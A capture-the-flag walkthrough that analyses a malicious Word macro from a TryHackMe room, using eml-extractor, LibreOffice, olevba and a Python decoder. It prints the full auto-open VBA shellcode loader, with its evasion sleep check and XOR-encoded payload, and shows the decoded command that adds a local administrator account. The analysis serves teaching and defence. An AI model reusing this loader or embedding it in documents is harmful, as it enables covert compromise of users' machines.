Task 13 Orcam | TryHackMe Industrial Intrusion CTF Walkthrough

TryHackMe Orcam

Malicious Macro Analysis

Full video walk through for TryHackMe Orcam >>> https://youtu.be/uGhuElHm1Ys

This room Orcam is part of TryHackMe Industrial Intrusion CTF.

Scenario:

You get an email with attachment, Microsoft docm file. with Macro enable. you need to analyses the VBA code inside the macro to get the flag.

You get provided with a file writing_template.eml, you can open it using Thunderbird email client and save the attached document Project_Template.docm

You can also extract the attachment using eml-extractor

Full video walk through for TryHackMe Orcam >>> https://youtu.be/uGhuElHm1Ys

eml-extractor -f writing_template.eml
PROCESSING FILE "writing_template.eml"
>> Attachment found: Project_Template.docm
>> Saving attachment to "/home/jalil/Documents/Tryhackme/Industrial Intrusion/Task-13-Orcam/Project Template/Project_Template.docm"
Done.

Using LibreOffice to open docm

LibreOffice opening .docm file

You will see warning “Macros in this document are disabled due to the Macro Security settings.”

you click Show Macros:

Edit maro on LibreOffice.

Using oletools

We can use oletools to extract VBA code for docm file

Full video walk through for TryHackMe Orcam >>> https://youtu.be/uGhuElHm1Ys

 olevba Project_Template.docm
olevba 0.60.2 on Python 3.12.3 - http://decalage.info/python/oletools
===============================================================================
FILE: Project_Template.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long

Sub MyMacro()
Dim buf As Variant

  Dim tmp As LongPtr

  Dim addr As LongPtr

  Dim counter As Long

  Dim data As Long

  Dim res As Long

  Dim dream As Integer

  Dim before As Date

  If IsNull(FlsAlloc(tmp)) Then

    Exit Function

  End If

  dream = Int((1500 * Rnd) + 2000)

  before = Now()

  Sleep (dream)

  If DateDiff("s", t, Now()) < dream Then

    Exit Function

  End If

  buf = Array(144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132, 121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121, 72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117, 186, 2, 204, 216, 173, _
252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50, 224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98, 139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139, 185, 136, 211, 105, 70, 57, 91, 210, 249, _
142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127, 65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19, 28, 45, 76, 21, 19, 26, 9, _
71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21, 24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108)

  For i = 0 To UBound(buf)

    buf(i) = buf(i) Xor Asc("l33t")

  Next i

  addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

  For counter = LBound(buf) To UBound(buf)

    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)

  Next counter

  res = CreateThread(0, 0, addr, 0, 0, 0)

End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|CreateThread        |May inject code into another process         |
|Suspicious|VirtualAlloc        |May inject code into another process         |
|Suspicious|RtlMoveMemory       |May inject code into another process         |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

We can see the shellcode usded inside the vba code, special the encoding part:

Full video walk through for TryHackMe Orcam >>> https://youtu.be/uGhuElHm1Ys

For i = 0 To UBound(buf)

    buf(i) = buf(i) Xor Asc("l33t")

  Next i

Using Python to decode the shellcode

We can write python script that help us decoding the shellcode and get the command the vba script is trying to run

python3 g1.py
bytearray(b'\xfc\xe8\x82\x00\x00\x00`\x89\xe51\xc0d\x8bP0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff\xac<a|\x02, \xc1\xcf\r\x01\xc7\xe2\xf2RW\x8bR\x10\x8bJ<\x8bL\x11x\xe3H\x01\xd1Q\x8bY \x01\xd3\x8bI\x18\xe3:I\x8b4\x8b\x01\xd61\xff\xac\xc1\xcf\r\x01\xc78\xe0u\xf6\x03}\xf8;}$u\xe4X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0__Z\x8b\x12\xeb\x8d]j\x01\x8d\x85\xb2\x00\x00\x00Ph1\x8bo\x87\xff\xd5\xbb\xe0\x1d*\nh\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\xff\xd5net user administrrator VEh[reducted]BDcjB9 /add /Y & net localgroup administrators administrrator /add\x00')
Embedded ASCII sequences:
  D$$[[aYZQ
  administrrator
  VEh[reducted]cjB9
  localgroup
  administrators
  administrrator

Full YouTube video Walk Through:

Full video walk through for TryHackMe Orcam >>> https://youtu.be/uGhuElHm1Ys

🎯 🔐 Task 13 Orcam | TryHackMe Industrial Intrusion CTF Walkthrough | Malicious Macro Analysis